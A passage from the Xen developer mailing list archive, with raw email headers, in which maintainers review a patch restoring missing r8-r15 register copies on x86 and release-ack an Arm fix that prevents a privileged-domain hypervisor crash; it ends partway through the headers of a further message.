	id 1wljoy-0008Gb-HV; Mon, 20 Jul 2026 08:57:56 +0000
Received: by outflank-mailman (input) for mailman id 1366314;
 Mon, 20 Jul 2026 08:57:56 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wljox-0008GV-U4
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 08:57:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wljox-00B1jt-Ar
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 10:57:55 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a5de30f-bab6-0a2a0a5309dd-0a2a4508a7c8-4
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 10:57:55 +0200
Received: from [52.101.46.58]
 (helo=CO1PR03CU002.outbound.protection.outlook.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a5de310-f659-0a2a45080019-34652e3adc3f-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 10:57:53 +0200
Received: from DS7PR03MB8265.namprd03.prod.outlook.com (2603:10b6:8:266::20)
 by BY1PR03MB7969.namprd03.prod.outlook.com (2603:10b6:a03:5b6::17) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.18; Mon, 20 Jul
 2026 08:57:49 +0000
Received: from DS7PR03MB8265.namprd03.prod.outlook.com
 ([fe80::419e:bddf:320e:a1d2]) by DS7PR03MB8265.namprd03.prod.outlook.com
 ([fe80::419e:bddf:320e:a1d2%4]) with mapi id 15.21.0223.017; Mon, 20 Jul 2026
 08:57:49 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=TZrRrGGenb32dKjtSuz1Mbj1xDtRrjEWK8h0u+Irhvuq0xmvNp6Erxet+N8zeHOJC7fp97JwuKN4D7UvvkuQXBKF0mGNRxWYkzqFHdimKCTN6JgcFwdZ4Gu8pBFXaley3OiUh6XEUfD5JuZh2LKYGCgV4RUya7szGRcuoQ7AwoswFiWfdEECxPa8eDBMztnzx1L9AdJRql6ivRPceGalPhPvFHIOSSqnCRXfjVoXFS53szyMpCsxuUMiuAUfEvNriVIqL4R6wZfpxYuAdyey1MzlCY98JtsxuqdO9PyYhcKPtAaqHqX9dxZXgfYiNFzfU7J2tBiZpZHM5Chfp2huHg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=jKoxIAP90lxRhQiZnq2y7ElyOCeE9VpIO7msgJ508Kk=;
 b=cTYTUXLnc4g5dYWCLTWEbLUGfySZWtdrcRwtwtIid1QFGR93aIOn1oB0r7nTY7X2xDB2vc6ylDFdyMyzM27ZWPYuLbAsptXweOx3IzgNRzMRZfShQQPvYfsyCXcFoATwn4YjIw71vj2pB/OodlHRFbxLn3u/1m5/84Ze/PapL2p2Ypv7Q+z0NClRp2Gpurh3JCcYfRE+CgpNylkttW4j9vgN2oEDnEFjYMG4HDF/GoXpqP/wqci8gK3nqAVzovUEEqOyYJcLHFoer7CaN3YMHVnCy/4BU0Qsk6YCzODdKK6FGJz50o3OSuR8djG+ZdYakfkorya8QPLi5Bo4clsGVg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=jKoxIAP90lxRhQiZnq2y7ElyOCeE9VpIO7msgJ508Kk=;
 b=v5XPYBsLo8KKte7PAuxzfD95Pb9bQz8tCjGIptXPLxu4hooRLv+toyNSPdU9/w5S3pKmFzAqOp7wpq9B4Rdme4PUXpY3cLhw3WYXjDcH0ugV0kW3NCeQzFeu5KBetBYwwM35N7/7IerpbiVOagpCSDOYD737/aEb85DzO9Sr0cA=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <f0d40078-4e00-4307-84ae-1d5c65346af7@citrix.com>
Date: Mon, 20 Jul 2026 09:57:45 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, xen-devel@lists.xenproject.org
Subject: Re: [4.22] Re: [PATCH] x86/domctl: restore all registers in
 arch_{get,set}_info_guest()
To: Jan Beulich <jbeulich@suse.com>,
 =?UTF-8?Q?Marek_Marczykowski-G=C3=B3recki?=
 <marmarek@invisiblethingslab.com>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>
References: <20260720001223.2876628-1-marmarek@invisiblethingslab.com>
 <83ac6e9b-3aaf-402d-9877-2ed63d365367@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7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McAEQEAAcLB
 XwQYAQgACQUCUuE2fwIbDAAKCRBlw/kGpdefoG4XEACD1Qf/er8EA7g23HMxYWd3FXHThrVQ
 HgiGdk5Yh632vjOm9L4sd/GCEACVQKjsu98e8o3ysitFlznEns5EAAXEbITrgKWXDDUWGYxd
 pnjj2u+GkVdsOAGk0kxczX6s+VRBhpbBI2PWnOsRJgU2n10PZ3mZD4Xu9kU2IXYmuW+e5KCA
 vTArRUdCrAtIa1k01sPipPPw6dfxx2e5asy21YOytzxuWFfJTGnVxZZSCyLUO83sh6OZhJkk
 b9rxL9wPmpN/t2IPaEKoAc0FTQZS36wAMOXkBh24PQ9gaLJvfPKpNzGD8XWR5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <83ac6e9b-3aaf-402d-9877-2ed63d365367@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO6P265CA0012.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:339::16) To DS7PR03MB8265.namprd03.prod.outlook.com
 (2603:10b6:8:266::20)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: DS7PR03MB8265:EE_|BY1PR03MB7969:EE_
X-MS-Office365-Filtering-Correlation-Id: 4bebd456-3132-4c50-3df1-08dee63cf984
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|376014|23010399003|366016|18002099003|22082099003|56012099006|4143699003|11063799006|10067099003;
X-Microsoft-Antispam-Message-Info:
	Ji4wNNAJ9aMvYSItFFG6EQjtj+lxJcc9w7QPnLwGRAkXOvEWBLOz7RPJRi620A0TKEh9ZzfXfQ03S5+DuEwIGK61iI6VEO0Az7i+plbvqHvq6h7jgfBlqVTbVD2KhuW77x/1t/ptcwQL8WCahP7w18MHL+b9Ic46E0iygPrxYS4LA4kJig2YZoFbyBjYqugSPKfA1z46fblpiBe4vswMwGz+iwWaAONl2ARZFIgppChgJRaLn1xrzS5RQ4ciUkuNRr0JbBB8OmJY9I8Pl9QPO0aVosGNHPcuDeLQicJXDhoHIaKzfYMwIgDVX8RLjy2mUPFFU1JWqThjkdwBx8Jhi0+2kOO+OaXueuqtnSL6CsAA9S9LQN35ojhH3WqDo9IER+puanoIZCsAc4sCkgjjQsjTm2MBFoVqANlizH92PMeoSqMTtV/R4kcYR9R9Oj3LjNCekOCFxpljxuCDVMgZdzZJjbI6ILNTW5PySn7U18cEaGQo4l9NrX3P8Jj8yULQ4ADvyKyMq5U3ewpvhpl3pPJ5QfyGcsAcM5oftQQZT7wWu55efS1ZZH7CsBbnQs+vP3P/lwgBrIObOCuYjiChwPs4AOrHfwzpW41OHvcCAjyJHAj99ZBopcu+BnIP5AmGgUP6tCWuvrRS3j681oIFA0248HsCcoapvbe/WGCAQ6Y=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:DS7PR03MB8265.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(376014)(23010399003)(366016)(18002099003)(22082099003)(56012099006)(4143699003)(11063799006)(10067099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount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pGcVZYSXZIWE15ZlpMQWFja3Q3TTdXNHYv?=
 =?utf-8?B?Y0dSV00zMU1nY0o1cWxtZ2p4QkNQb2pzMzlnSzNIWjBNdUdLTk9DUDQwRHV2?=
 =?utf-8?B?YUxKbjJleXRtU2tZaG0yNW1wZ0tNQmdRcUZlZjdtRzE3K2hBdUxTWTJrZmxx?=
 =?utf-8?B?VWtETlh4dUtobFFESGIrU3NuSkxubkpIQ2xMZEJXc0pGRFJiUWkraENGNHVD?=
 =?utf-8?B?ZldkTWtHYUNkYzNBRG9mV09NeGYyNDBPMkdWd3pBQ1JFTHZudlkvV0wxK2cv?=
 =?utf-8?B?Skp4VkljcEFmZWZwakxyRFRENHY0REtTd1IyaHgwanJaZFR5Yk5rVzQreGdQ?=
 =?utf-8?B?ektzdFBQek9rcjkvZnFpU0RIMXhkVE9ERnZZS0gyU2RUNEhGN3VHSnV4MlZQ?=
 =?utf-8?B?bnFDNGM0Q2EyRlJiM0h2SDIrbUdiMXQ1Vi9qNnAzTEhobExKcVlHMitNSDZF?=
 =?utf-8?B?S1Awc0hIeGwwbEdJTmVPR1NRdHhwQndMZmR6bEY5Tmx0NjJjOFZTVkNPNWpM?=
 =?utf-8?B?dU1Eb2lUWnB3VlQzV3JVd1A3b2wxQ3J0Q2xDd3B3dHVYb3pDRmNMTFJ6Wno0?=
 =?utf-8?B?cnAyNm94RG1LOURIYXM5S2Y4dG0wdC9jUlpDM05yZEJFU0c5d25lZz09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 4bebd456-3132-4c50-3df1-08dee63cf984
X-MS-Exchange-CrossTenant-AuthSource: DS7PR03MB8265.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 20 Jul 2026 08:57:49.3639
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: IZR5ww/E0ihuHzOPbTbNqIrGmtz0VQZGfAgLjlWB+Z44LEG23EXgcJF4SiDRIWSOmkU+j0MZV4AvU5NKb66zcBPHXCI5A9CGQ4XNT4KmCdw=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: BY1PR03MB7969
X-purgate-ID: tlsNG-c1860d/1784537874-CD34D87B-6084B701/0/0
X-purgate-type: clean
X-purgate-size: 4121

On 20/07/2026 8:19 am, Jan Beulich wrote:
> On 20.07.2026 02:12, Marek Marczykowski-GÃ³recki wrote:
>> Commit 9f892f84c279 ("x86/domctl: Stop using XLAT_cpu_user_regs()")
>> converted memcpy() of the cpu_user_regs structure to explicit copy of
>> its fields. In the compat case, it intentionally missed few of them,
>> named in the commit message. But the 64bit case missed also r8-r15
>> registers, which was not intentional. This, at least, caused Linux
>> 6.18.x crash when resuming PVH domU.
> Oh, wow, what a bad mistake (including by me as the reviewer).

Yes, I'm very embarrassed by this mistake.Â  It also highlights a serious
gap in testing which we need to address.Â  We've managed a release and a
half with PV migration plain broken before figuring out why.

>
>> Fix it by adding missing assignments.
>>
>> Fixes: 9f892f84c279 ("x86/domctl: Stop using XLAT_cpu_user_regs()")
>> Signed-off-by: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>
> Reviewed-by: Jan Beulich <jbeulich@suse.com>

Reviewed-by: Andrew Cooper <andrew.cooper3@citrix.com>

>
> One remark though (equally applying to the original change):
>
>> --- a/xen/arch/x86/domain.c
>> +++ b/xen/arch/x86/domain.c
>> @@ -1255,6 +1255,14 @@ int arch_set_info_guest(
>>  
>>      if ( !compat )
>>      {
>> +        v->arch.user_regs.r15               = c.nat->user_regs.r15;
>> +        v->arch.user_regs.r14               = c.nat->user_regs.r14;
>> +        v->arch.user_regs.r13               = c.nat->user_regs.r13;
>> +        v->arch.user_regs.r12               = c.nat->user_regs.r12;
>> +        v->arch.user_regs.r11               = c.nat->user_regs.r11;
>> +        v->arch.user_regs.r10               = c.nat->user_regs.r10;
>> +        v->arch.user_regs.r9                = c.nat->user_regs.r9;
>> +        v->arch.user_regs.r8                = c.nat->user_regs.r8;
>>          v->arch.user_regs.rbx               = c.nat->user_regs.rbx;
>>          v->arch.user_regs.rcx               = c.nat->user_regs.rcx;
>>          v->arch.user_regs.rdx               = c.nat->user_regs.rdx;
> Neither here nor ...
>
>> --- a/xen/arch/x86/domctl.c
>> +++ b/xen/arch/x86/domctl.c
>> @@ -1481,6 +1481,14 @@ void arch_get_info_guest(struct vcpu *v, vcpu_guest_context_u c)
>>      if ( !compat )
>>      {
>>          /* Backing memory is pre-zeroed. */
>> +        c.nat->user_regs.r15               = v->arch.user_regs.r15;
>> +        c.nat->user_regs.r14               = v->arch.user_regs.r14;
>> +        c.nat->user_regs.r13               = v->arch.user_regs.r13;
>> +        c.nat->user_regs.r12               = v->arch.user_regs.r12;
>> +        c.nat->user_regs.r11               = v->arch.user_regs.r11;
>> +        c.nat->user_regs.r10               = v->arch.user_regs.r10;
>> +        c.nat->user_regs.r9                = v->arch.user_regs.r9;
>> +        c.nat->user_regs.r8                = v->arch.user_regs.r8;
>>          c.nat->user_regs.rbx               = v->arch.user_regs.rbx;
>>          c.nat->user_regs.rcx               = v->arch.user_regs.rcx;
>>          c.nat->user_regs.rdx               = v->arch.user_regs.rdx;
> ... here it becomes clear what has determined the order in which fields
> are copied. It's neither by register number nor by field order nor
> alphabetically. We might do ourselves a (however minor) favor if we used
> a clear criteria; likely field order would be best. The more that the
> new internal struct cpu_user_regs mirrors field order from the original
> external one. Andrew (in particular)?

They are the order that XLAT_cpu_user_regs() expanded in; that is -
x86_32's cpu_user_regs field order.

... which now I think about it is correct for one of the two uses of
XLAT_cpu_user_regs() but suboptimal for the other.

They all want to be field-order of the loading side, because that way
we're working with the prefetcher rather than against it.

I'm making a follow-up, because I think it's more complicated than just
interleaving these lines, and I suggest we take Marek's patch as-is.

~Andrew


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 08:58:11 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 08:58:11 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366316.1616211 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wljpD-0000II-0K; Mon, 20 Jul 2026 08:58:11 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366316.1616211; Mon, 20 Jul 2026 08:58:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wljpC-0000IA-T1; Mon, 20 Jul 2026 08:58:10 +0000
Received: by outflank-mailman (input) for mailman id 1366316;
 Mon, 20 Jul 2026 08:58:10 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wljpC-0000FY-5H
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 08:58:10 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wljpB-00FBbB-B6
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 10:58:09 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5de320-2eae-0a2a0a5409dd-0a2a4509ba70-2
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 10:58:09 +0200
Received: from [209.85.128.43] (helo=mail-wm1-f43.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5de320-be1a-0a2a45090019-d155802ba54f-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 10:58:08 +0200
Received: by mail-wm1-f43.google.com with SMTP id
 5b1f17b1804b1-495437bb891so27479655e9.1
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 01:58:08 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49549a36312sm286140835e9.2.2026.07.20.01.58.05
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 20 Jul 2026 01:58:06 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784537888; x=1785142688; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=T4ZUOTpQ/ZpfUlS5KB+1P7TUTvfsq61R4GmT+8LKtSo=;
        b=eRqexgW+o9qpDpG+xTOUgiW+v3l+QXJ/bm/KOCV9/z78dEiCKyDQvAamNC+TFtkTqv
         CRP9r6WdEA+VuyErQrhZX3UEm9bcHH2HmkC2CpqyWeILSCS3xVGhWkiaOWAEgjYHkhyP
         Qr6TZnVFTBd5GxLVl8LUVXL6yxAe/eWbsCB1H2nWUJTBpQrSoTE2J+wOUgF/uraq9TNJ
         qhtOPnQ5Sb3t+10hjH9azhU/oUf70aLh/nH9wIUBjOlFNQ77vT9YYdbzHDqPetdMGet1
         eAYm5kVJZ4i+NVOLpQZfS0dixp0/8BjQZ2H2uIYChm3l+JvLdBrYNY9Zc6i8ne2afjRI
         fsPg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784537888; x=1785142688;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=T4ZUOTpQ/ZpfUlS5KB+1P7TUTvfsq61R4GmT+8LKtSo=;
        b=sbgtm6RGgzVb42rOg+hoLG9FtCs3Gde3fXy0G2uW8EpMm21moxE6VLdQbi/vckUMVN
         v39JR92vv9Yceb9OUBa6fA0P5kXW0PI40pm2v2Kf7kPeWxsm0XFVDtAby2EptHZxRr9f
         1HHtLSe/l2xfUgzJ200w6x03NoEitzo33CqIVLtuIWPSXJWzj//QvV1mHxDqGUw7XP68
         6BQKnoPI4izjO7KYfp3pup89hBInX3LTAfkqX4VW9GqkYI/bgI6deZhxOa/PDvgAy1Vt
         S9FCvFaDubNgIlLWMmKFMUG0J2dxAKGHDyPyD1mRO/HS/dizuT5SHmgxH3SMC1O2wDCf
         RoBA==
X-Forwarded-Encrypted: i=1; AHgh+RqCGRqacmOS+bMJ+rofzkwYbTpenlzvILsiD1B/Bv4onwGgW7i7GO6lZQNuVUjvLUWlSW51BbCtfBw=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwK6/o/MbcPgd54/P70DcCUTrom97cfgmK0Be5yyMEOjk3JARu6
	cwiNy/4Rowz5Y/ifGf97kb9TBfN3dsL+DpTq9wJiITbm46ruvvaipV4/
X-Gm-Gg: AfdE7clm2bG840kKjEaQ74aX1i7kkbXdIY0cSHWx5MbLePoVOuxZxX1ahJTrdXChTiG
	YX1pJR74ffVeq8MhHXFfez0aUXUP8e9mBt3cRbBQHTa+AcW/Uy5VzkHIVtpYoXdmxIrlrs4DYsd
	yEFAb4rN0k6bxm30osmLSqOUeT6vIQqI1FwBflvBsCfJ3U4nL5kQD28LlSZB2Enfn5pSM1ClYTw
	meq26zK+kJH5ZWutQITqIj4Jm+UY5MeuDuIsd//vJOjy6q5Ou6A4Z4WWgFiRY1IAjwEh+4POzsV
	YsKsQCsXhALB76aYY5VyACwmCW0aJNT7Bx54ZWsKkodzdLA2DqZW4UmuWlc2eEDuzid76vcedMZ
	3pCU6jduwMTK4CqJVGYblM+B17SymiDtVkXJZ3PTEtIflhBbZ/nwNizoSXb34jZw0B+CB74cArk
	v5Z6zhZXH3e+y1R++ar1TRnB7g2AO7J5e+YtXGIzZy6+QnUDI+7XscAUPl8npHtF1P0hY=
X-Received: by 2002:a05:600d:8443:20b0:493:ecf5:89fd with SMTP id 5b1f17b1804b1-4954a341a2bmr104031255e9.17.1784537886862;
        Mon, 20 Jul 2026 01:58:06 -0700 (PDT)
Message-ID: <de52df85-3fd4-46e2-98d4-12d2af1c2add@gmail.com>
Date: Mon, 20 Jul 2026 10:58:05 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] xen/arm: Reject pseudo-domain foreign mappings in
 xenmem_add_to_physmap_one()
To: "Orzel, Michal" <michal.orzel@amd.com>,
 Oleksandr Tyshchenko <Oleksandr_Tyshchenko@epam.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
 <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Ayan Kumar Halder <ayankuma@amd.com>
References: <20260714191655.155717-1-oleksandr_tyshchenko@epam.com>
 <26721f9d-23a3-440b-a1ae-3348f2eef77a@amd.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <26721f9d-23a3-440b-a1ae-3348f2eef77a@amd.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-bad1c0/1784537888-3B0DD034-1487060D/10/73395122804
X-purgate-type: spam
X-purgate-size: 1640



On 7/17/26 9:23 AM, Orzel, Michal wrote:
> 
> 
> On 14-Jul-26 21:16, Oleksandr Tyshchenko wrote:
>> A privileged domain on Arm64 can trigger a data abort in the hypervisor
>> by issuing memory_op's XENMEM_add_to_physmap_batch sub-op with
>> space=XENMAPSPACE_gmfn_foreign, idx=0 and foreign_domid=DOMID_IO.
>>
>> get_pg_owner(DOMID_IO) succeeds, returning a pointer to the dom_io
>> pseudo-domain. The subsequent get_page_from_gfn(dom_io, ...) then
>> attempts to walk dom_io's P2M table, which is not initialized for
>> pseudo-domains, resulting in a data abort in p2m_get_entry() when
>> it dereferences the invalid pointer returned by p2m_get_root_pointer().
>>
>> Replace get_pg_owner() with explicit domain lookup logic matching
>> the x86 implementation: handle DOMID_XEN via rcu_lock_domain(dom_xen),
>> and resolve all other domain IDs via rcu_lock_remote_domain_by_id(),
>> which rejects pseudo-domains (DOMID_IO, etc.) that are not present in
>> the domain hash, returning -ESRCH before any P2M access occurs.
>>
>> Fixes: 615897bc6c01 ("xen/arm: Allow a privileged domain to map foreign page from DOMID_XEN")
>> Signed-off-by: Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>
> Reviewed-by: Michal Orzel <michal.orzel@amd.com>
> 
> I would be ok to take this patch in for 4.22. Oleksii, other maintainers?

Considering that it leads to hypervisor crash and could be triggered by 
domain my opinion is that we want it in 4.22. If someone from 
maintainers don't have something against this patch then:
  Release-Acked-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>

Thanks.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 09:02:30 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 09:02:30 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366333.1616220 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wljtI-0002Ng-FE; Mon, 20 Jul 2026 09:02:24 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366333.1616220; Mon, 20 Jul 2026 09:02:24 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wljtI-0002NZ-Ce; Mon, 20 Jul 2026 09:02:24 +0000
Received: by outflank-mailman (input) for mailman id 1366333;
 Mon, 20 Jul 2026 09:02:23 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f7ec30930000edb5@swg.vates.tech>)
 id 1wljtG-0002NT-JF
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 09:02:23 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wljtF-00FChm-V4
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 11:02:21 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f7ec30930000edb5@swg.vates.tech>)
 id 6a5de413-e002-0a2a0a5209dd-0a2a450addec-44
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 11:02:21 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f7ec30930000edb5@swg.vates.tech>)
 id 6a5de41d-f2d2-0a2a450a0019-b9ff1c22a9c3-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 11:02:21 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
